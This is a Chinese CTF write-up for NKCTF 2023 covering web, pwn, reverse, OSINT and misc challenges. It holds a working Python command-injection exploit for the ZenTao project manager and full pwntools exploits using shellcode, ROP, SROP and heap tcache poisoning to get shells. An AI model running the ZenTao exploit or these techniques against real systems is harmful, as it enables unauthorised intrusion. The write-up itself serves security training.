NKCTF 2023 Writeup By Xp0int_m1n1

Web

baby_php

Author: Rieß

反序列化 destruct->tostring->invoke 最后过滤用 cd /;more dir

easy_pms

Author: Rieß

禅道对应版本 rce 漏洞,只能回显一行,用 sed -n ‘2p’ /flag 没有权限,推测是 suid 提权,用 dd if=/flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests

proxies = {
    # "http": "127.0.0.1:8080",
    # "https": "127.0.0.1:8080",
}


def check(url):
    url1 = url + 'misc-captcha-user.html'
    # url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
    # url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
    url3 = url + 'repo-create.html'
    url4 = url + 'repo-edit-10000-10000.html'
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
    }

    headers2 = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Requested-With": "XMLHttpRequest",
        "Referer": url + "/repo-edit-1-0.html"
    }

    data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
    data2 = 'SCM=Subversion&client=`dd if=/flag|sed -n \'2p\'`'
    s = requests.session()
    try:
        req1 = s.get(url1, proxies=proxies, timeout=5, verify=False, headers=headers)
        req3 = s.post(url3, data=data1, proxies=proxies, timeout=5, verify=False, headers=headers2)
        req4 = s.post(url4, data=data2, proxies=proxies, timeout=5, verify=False, headers=headers2)
        if 'r' in req4.text:
            print(url, "")
            print(req4.text)
            return True
    except Exception as e:
        print(e)
    return False


if __name__ == '__main__':
    print(check("http://11099723-4cdb-460e-b31a-e3d13fce8be4.node4.buuoj.cn:81/"))

Webpagetest

Author: Rieß

webpagetest 对应版本反序列化漏洞 AVD-2022-1474319

https://xz.aliyun.com/t/11798

Pwn

ezshellcode

Author: she1p

开了随机,本来以为得爆破,调试一下发现随机种子固定了,直接填充足够垃圾数据加个 shellcode 即可

1
2
3
4
5
6
7
8
9
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('ezshell')
elf=ELF('ezshell')
#p=remote('node.yuzhian.com.cn',32306)
shellcode=asm(shellcraft.sh())
payload=b'a'*0x54+shellcode
p.sendlineafter('u can make it in 5 min!\n',payload)
p.interactive()

a_story_of_a_pwner

Author: she1p

给 put 地址,可以泄露 libc 及其他地址,题中三个输入连在一起可以构造 rop 链,再利用栈迁移返回 rop 链即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('story')
libc=ELF('libc.so.6')
elf=ELF('story')
#p=remote('node.yuzhian.com.cn',38914)

acm=0x4050A8
ctf=0x4050A0
love=0x4050B0
rdi=0x0000000000401573
lea_ret=0x000000000040139e

p.sendlineafter('> \n',b'4')
p.recvuntil('I give it up, you can see this. ')
put_addr=int(p.recv(14),16)
success('put_addr:'+hex(put_addr))
libc_base=put_addr-libc.symbols['puts']
system=libc_base+libc.symbols['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh'))
success('bin_sh:'+hex(libc_base))
#gdb.attach(p)
#pause()
p.sendlineafter('> \n',b'2')
p.sendlineafter("what's your corment?\n",p64(rdi))
p.sendlineafter('> \n',b'1')
p.sendlineafter("comment?\n",p64(bin_sh))
p.sendlineafter('> \n',b'3')
p.sendlineafter("corMenT?\n",p64(system))


payload=b'a'*0xa+p64(ctf-8)+p64(lea_ret)
p.sendlineafter('> \n',b'4')
p.sendlineafter('read my heart...\n',payload)
p.interactive()

ez_stack

Author: she1p

0x401146 有个 mov rax,15,同时里面函数都是系统调用,所以可以想到 SROP,第一次调用 SROP 读入更多字节,第二次直接构造 ret2syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#context(arch='amd64',os='linux')
p=process('./stack')
elf=ELF('stack')
#p=remote('ctf.comentropy.cn',8303)

syscall_ret=0x40114e
bss=0x404500
rax_15=0x401146
#payload=b'a'*0x10+p64(bss)+p64(0x4011bd)
frame=SigreturnFrame()
frame.rax = 0 
frame.rdi = 0 
frame.rsi = 0x404500
frame.rdx = 0x200
frame.rip = syscall_ret
frame.rsp=0x404500
frame.rbp=0x404500
payload=b'a'*0x18+p64(rax_15)+p64(syscall_ret)+bytes(frame)
p.sendlineafter('of NKCTF!\n',payload)
#sleep(1)
frame2=SigreturnFrame()
frame2.rax = 59
frame2.rdi = 0x404500+0x120
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret
frame2.rsp=0x404500
frame2.rbp=0x404500
payload2=p64(rax_15)+p64(syscall_ret)+bytes(frame2)
payload2=payload2.ljust(0x120,b'\x00')
payload2+=b'/bin/sh\x00'

p.sendline(payload2)

#gdb.attach(p)
#pause()

p.interactive()

baby_rop

Author: she1p

漏洞点在 my_read 函数,会将读入的总字节的下一位赋为’\x00’,可以第一次先泄露 canary,然后写入 0x100 的内容覆盖 rbp 的最后一位为’\x00’,利用这点控制返回地址,返回 main,再泄露 libc 地址并构造 rop 链,然后再利用 my_read()函数返回即可(但有时打不通,不明白为什么)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
p=process('boards')
elf=ELF('boards')
p=remote('node2.yuzhian.com.cn',37421)

p.sendlineafter('What is your name: ',b'%41$p')
p.recvuntil('Hello, ')
can=int(p.recv(18),16)
success('can:'+hex(can))
main4=0x401390
ret=0x000000000040101a
payload1=p64(ret)*29+p64(ret)+p64(main4)+p64(can)
p.sendafter(' NKCTF: ',payload1)

p.sendlineafter('What is your name: ',b'%49$p')
#gdb.attach(p)
#pause()
p.recvuntil('Hello, ')
libc_start_main=int(p.recv(14),16)-243
success('libc_start_main:'+hex(libc_start_main))
libc=LibcSearcher('__libc_start_main',libc_start_main)
libc_base=libc_start_main-libc.dump('__libc_start_main')
success('libc_base:'+hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
rdi=0x0000000000401413
payload2=p64(ret)*28+p64(rdi)+p64(bin_sh)+p64(system)+p64(can)
p.sendafter(' NKCTF: ',payload2)

#gdb.attach(p)
#pause()
p.interactive()

baby_heap

Author: she1p

2.32 版本的 libc,地址会与堆基地址右移 12 位后异或再放进去,其中 edit 有个 off-by-one 漏洞,可以利用写下个堆块的 size 位扩大堆块,使得扩大的能覆盖下一个堆块(当时做的时候有点累,exp 中申请的堆块有点乱)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('babyheap')
libc=ELF('libc-2.32.so')
elf=ELF('babyheap')
p=remote('node2.yuzhian.com.cn',36490)

def add(index,size):
    p.sendlineafter('our choice: ',b'1')
    p.sendlineafter('Enter the index: ',str(index))
    p.sendlineafter('Enter the Size: ',str(size))

def edit(index,context):
    p.sendlineafter('our choice: ',b'3')
    p.sendlineafter('Enter the index: ',str(index))
    p.sendlineafter('Enter the content: ',context)

def show(index):
    p.sendlineafter('our choice: ',b'4')
    p.sendlineafter('Enter the index: ',str(index))

def free(index):
    p.sendlineafter('our choice: ',b'2')
    p.sendlineafter('Enter the index: ',str(index))

add(0,0x68)
add(1,0x68)
add(2,0x68)
edit(0,b'a'*0x68+b'\x91')
free(1)
add(1,0x80)
free(2)
edit(1,b'a'*0x6f)
show(1)
p.recvuntil(b'a'*0x6f+b'\n')
heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
edit(1,b'a'*0x68+p64(0x71)+p64(heap_base>>12))
add(2,0x68)
success('heap_base:'+hex(heap_base))
add(14,0x68)
add(15,0x68)
#gdb.attach(p)
#pause()
for i in range(3,10):
    add(i,0x88)
add(10,0x68)
add(11,0x88)
add(12,0x68)
edit(9,b'a'*0x88+b'\x91')
free(10)
#gdb.attach(p)
#pause()
add(10,0x80)
for i in range(3,10):
    free(i)
free(11)
edit(10,b'a'*0x70)
show(10)
p.recvuntil(b'a'*0x70)
main_arena1=u64(p.recv(6).ljust(8,b'\x00'))-0xa
main_arena=main_arena1-96
success('main_arena:'+hex(main_arena))
libc_base=main_arena-1981344
success('libc_base:'+hex(libc_base))
edit(10,b'a'*0x68+p64(0x91)+p64(main_arena1)+p64(main_arena1)+b'\x00')
for i in range(3,10):
    add(i,0x68)
free(14)
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
free1=(heap_base>>12)^free_hook
free(2)
edit(1,b'a'*0x68+p64(0x71)+p64(free1))
add(11,0x68)
add(13,0x68) # free_hook
edit(11,b'/bin/sh')
edit(13,p64(system))
free(11)
#gdb.attach(p)
#pause()

p.interactive()

Reverse

ez_baby_apk

Author: Hur1k

写着是 DES,实际上是 AES-CBC

key 偷换了一下: final String key1 = “reversecarefully”.replaceAll(“e”, “3”);

初始向量经过 md5 处理

PMKF

Author: Hur1k

走迷宫

z3 一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
s = "******************N...*****...*....***.*****..*...**.*...*****.*****.*.*.**....*..*...*..*....**.*.*..*...***.**...*.*.*******..*****..*......**.*......**.****.**...*****...*K...********************."
for i in range(0,len(s),18):
    print(f"{s[i:i+18]}")

path = "ddssaassdssassddwdddddwdwwwwwdwddsddwdddsssasaawaasassdddddssaaa"
print(len(path))
path = path.replace("w","0")
path =path.replace("d","1")
path =path.replace("s","2")
path =path.replace("a","3")

from z3 import *
s = Solver()

input = [BitVec(f'v{_}',8) for _ in range(16)]
print(input)

ctr = 0
for i in range(16):
    # s.add(input[i]>=32)
    # s.add(input[i]<=128)
    # input[i]^=0x15
    for j in range(6,-2,-2):
        s.add((input[i]>>j)%4==int(path[ctr]))
        ctr+=1
    

if s.check():
    print(s.check())
    m=s.model()
    real_flag=[]
    [real_flag.append(m[i])  for i in input]
    print(real_flag) #[90, 250, 107, 165, 21, 81, 0, 17, 101, 21, 171, 188, 251, 165, 86, 191]
else:
    print('unsat')

xored = [90, 250, 107, 165, 21, 81, 0, 17, 101, 21, 171, 188, 251, 165, 86, 191]
for i in xored:
    print(hex(i^0x15)[2:],end=' ')
print()
for i in xored:
    print(hex(i)[2:],end=' ')
    
print(hex(open("d://nk.ctf","rb").read()))

not_a_like

Author: Hur1k

脱壳,改掉节区名,复原即可

动调一半发现是 py 打包的,直接解包,3.8 版本,恢复一下魔数

RC4+RSA

RSA 是低解密指数攻击,别再往 re 塞密码了 qwq()

1
2
3
4
5
6
7
8
import hashlib
import RSAwienerHacker
N = 76230002233243117494160925838103007078059987783012242668154928419914737829063294895922280964326704163760912076151634681903538211391318232043295054505369037037489356790665952040424073700340441976087746298068796807069622346676856605244662923296325332812844754859450419515772460413762564695491785275009170060931
e = 19252067118061066631831653736874168743759225404757996498452383337816071866700225650384181012362739758314516273574942119597579042209488383895276825193118297972030907899188520426741919737573230050112614350868516818112742663713344658825493377512886311960823584992531185444207705213109184076273376878524090762327
d =  RSAwienerHacker.hack_RSA(e,N)
c = 9197325807645612228390676898165339983130548652295654839867942074997683918988965926084503420887591899752302425508517254065925348804993207641876641922956619138627889163346353214827511032968059044881520153145551162531743849668155869037977721861493727920155941109549597908826026808895049130862236739911496237434
m = pow(c, d, N)
print(hex(m))

babyrust

Author: Hur1k

加密逻辑:

  1. 异或 + 位移
  2. 变相位移

有几位出错,但是可以直接猜出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
s = ")&n_qFb'NZXpj)*bLDmLnVj]@^_H"
#    QNn_qFbONZXpjQRbLDmLnVj]@^_H
s = list(s.encode())

# src = "NKCTF{123456789123456789123}"
# src = list(src.encode())
# for i in range(len(src)):
#     src[i] = ((src[i] ^ 0x30)-45) & 0xFF
# print(bytes(src))

for i in range(0,len(s)):
    if 0x28<s[i]<0x72:
        s[i]-=0x28
        s[i]&=0xFF
    else:
        s[i]-=0xd8
        s[i]&=0xFF
# for i in range(16,len(s)):
    

for i in range(len(s)):
    s[i] = ((s[i]+45) & 0xFF) ^ 0x30
print(bytes(s)) # NKCTF{WLcomE_NOfWayBaCk_RuST}

earlier

Author: Hur1k

TLS 两个反调试

jzjnz 花指令

SMC 按 4DWORD 异或加密,密钥 0x2B692

加密逻辑不难,z3 一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from z3 import *
s = Solver()

input = [BitVec(f'v{_}', 8) for _ in range(42)]
print(input)

enc = [0x83, 0x5D, 0xB1, 0x68, 0xE4, 0xDF, 0xAF, 0x96, 0x47, 0x94, 0xDA, 0xAE, 0x96, 0xB9, 0x86, 0x58, 0xF2, 0x54, 0x1E, 0x87, 0xF5,
       0x96, 0xB6, 0x03, 0x16, 0x4C, 0x06, 0xB8, 0xBE, 0x0F, 0x37, 0x6A, 0xD8, 0xA6, 0x7A, 0xED, 0xA5, 0x73, 0x4A, 0xBE, 0x6B, 0xAC]
rtn = [0x73, 0xD0, 0xC6, 0x14, 0xFF, 0x95, 0x0E, 0x22, 0x84, 0x60, 0xCF, 0x11, 0x53, 0x42, 0xF5, 0x70, 0xF8, 0x23, 0x06, 0xC4, 0x97, 0x2F, 0x99, 0x0D, 0xAF, 0x43, 0x8A, 0x65, 0x3C, 0x31, 0xB9, 0x5C, 0x03, 0x2A, 0xDE, 0x52, 0x6D, 0x69, 0x07, 0x9A, 0x81, 0x98, 0x35, 0xC5, 0x4C, 0xEC, 0xC7, 0x57, 0xB8, 0x3A, 0xAC, 0xB4, 0x61, 0xF0, 0x2C, 0xE8, 0xE7, 0xA6, 0x38, 0x4B, 0xCA, 0x7E, 0xE3, 0x62, 0x7A, 0x59, 0x64, 0x2D, 0xD3, 0x77, 0xD1, 0x30, 0x08, 0x46, 0x68, 0x8C, 0x54, 0x5F, 0x6B, 0x3D, 0xA3, 0x05, 0x6C, 0xAD, 0x3B, 0x7C, 0xEE, 0xB7, 0x33, 0xD8, 0xA8, 0x4A, 0x01, 0x8D, 0x4F, 0xF2, 0x6E, 0x3F, 0xA4, 0x79, 0x15, 0x37, 0xB6, 0x7F, 0xB0, 0x66, 0xF4, 0x48, 0x4E, 0xDC, 0x90, 0xD5, 0x29, 0x2B, 0x13, 0x83, 0xAE, 0x7D, 0x50, 0xCD, 0x82, 0x41, 0xEF, 0xF9, 0x86, 0x04, 0x0A, 0xFE, 0x17, 0xC2, 0x8F, 0xB2, 0x02, 0x1A, 0x18, 0x78, 0xD9, 0x67, 0xA1, 0xF1, 0xDA, 0x12, 0x1D, 0x10, 0x9D, 0xE6, 0x0B, 0x8E, 0xE9, 0x1B, 0xFB, 0xB3, 0x87, 0x21, 0xFC, 0x89, 0x9B, 0x39, 0xBD, 0xA2, 0x0F, 0x96, 0x16, 0xA7, 0x24, 0xBF, 0xAA, 0xD2, 0x5E, 0xE5, 0x93, 0x58, 0x1F, 0x76, 0x91, 0xAB, 0xCE, 0xEB, 0xD6, 0x45, 0x74, 0xF7, 0x2E, 0x28, 0xDB, 0x71, 0xD7, 0x6A, 0x9C, 0xBB, 0xC1, 0x75, 0x49, 0x36, 0xF3, 0xEA, 0x20, 0xC9, 0x3E, 0x80, 0xBC, 0x34, 0xFA, 0x5B, 0x32, 0x40, 0x1E, 0xE1, 0x27, 0xDD, 0x26, 0xC0, 0xBE, 0xE0, 0x19, 0x44, 0xF6, 0x5D, 0x7B, 0xE4, 0x92, 0xFD, 0x8B, 0xCC, 0x94, 0xA5, 0x5A, 0xA9, 0x1C, 0x00, 0xBA, 0x85, 0xD4, 0x63, 0x56, 0x0C, 0x4D, 0xDF, 0x6F, 0x25, 0x55, 0xB1, 0xB5, 0x51, 0x72, 0xE2, 0xC8, 0xED, 0x9E, 0xCB, 0xA0, 0x09, 0x88, 0xC3, 0x9F]
rtn_final = [0]*42
tmp1 = 0
tmp2 = 0
for i in range(len(input)):
    tmp1 = (tmp1 + 1) % 256
    tmp2 = (tmp2 + rtn[tmp1]) % 256
    rtn[tmp1], rtn[tmp2] = rtn[tmp2], rtn[tmp1]
    rtn_final[i] = rtn[(rtn[tmp2]+rtn[tmp1]) % 256] ^ input[i]

for i in range(len(rtn_final)):
    s.add(enc[i]==rtn_final[i])

if s.check():
    print(s.check())
    m = s.model()
    real_flag = []
    [real_flag.append(m[i]) for i in input]
    print(real_flag)
else:
    print('unsat')

Blockchain

Signin

Author: she1p

送分题,进去点几下就能找到 flag:

Social Engineering

real-social-engineering

Author: Hur1k

群主博客

狂飙

Author: she1p

看过电视剧,知道是旧厂街,网上搜一下就可以得到答案:

NKCTF{广东省江门市蓬江区莲平路}

Bridge

Author: she1p

这个桥识图可以发现是世纪大桥,然后 flag 格式有 XX 公园,搜索地图可以发现这个角度大概是在世纪公园

NKCTF{海南省海口市龙华区世纪公园}

两个人的夜晚

Author: she1p

照片有 NCC 新城市中心,搜一下就能找到:

The other bridge

Author: Rieß

通过识图发现是千厮门嘉陵江大桥,根据附近建筑看出位置在崖壁步道,结合格式最终 flag 为 NKCTF{重庆市渝中区嘉陵江畔戴家巷崖壁步道}

旅程的开始

Author: Rieß

根据图片上的元和国际和维也纳酒店推出地点在贵州贵阳南明遵义路 86 号附近,最终 flag 为附近的车站 NKCTF{贵州省贵阳市南明区遵义路 1 号}

Misc

THMaster

Author: Hur1k

直接 patch 文件,解密得到存档后 010 查看

hard-misc

Author: Hur1k

b32 解密

blue

Author: she1p

严重非预期,直接 7z 解压,flag 就在:Users\Administrator\flag.txt.txt

三体

Author: she1p

应该非预期了,zsteg 能找到部分 flag 在 blue 通道里,提取 blue 通道找一下得到 flag:

1
2
3
4
5
6
7
8
from PIL import Image

with Image.open('123.bmp') as img:
        width, height = img.size
        for h in range(height):
                for w in range(width):
                        b = img.getpixel((w, h))[2]
                        print(chr(b), end="")

easy_bmp

Author: she1p

根据文件名得知修改对应宽高即可,得到 key 后解压得到新图片,可以看到新图片很小,因此猜测这次是宽和高一起修改,改完后扫描二维码得到 flag

easy_word

Author: she1p

4 位不知道,直接爆破,2 个小时得到 password:h4evOF90,word 文档隐藏了文字,显示后复制粘贴到聊天框能发现有一张图片,上面有 key,后面试到是 cloacked-pixel-master 隐写,得到 flag

first spam of rabbit year

Author: she1p

搜索发现是 spammimic 隐写,解出一段佛曰编码,正常解码不行,最下面有段社会核心价值观编码解码是:rabbit 又 move ,搜索发现有佛又曰编码,还需要 key,用 rabbit 做 key 后得到新文本,发现里面有零宽字符隐写,解完得到 Eno0o01G,而刚才的新文本又有“tip:47&13”,去 rot47 和 rot13,rot13 后得到 RabBbB1T,而将刚才新文本 rot47 得到密文,有 rabbit 密码的特征,rabbit 解密后得到 flag(用 RabBbB1T 作为密钥):

Categories:

Updated: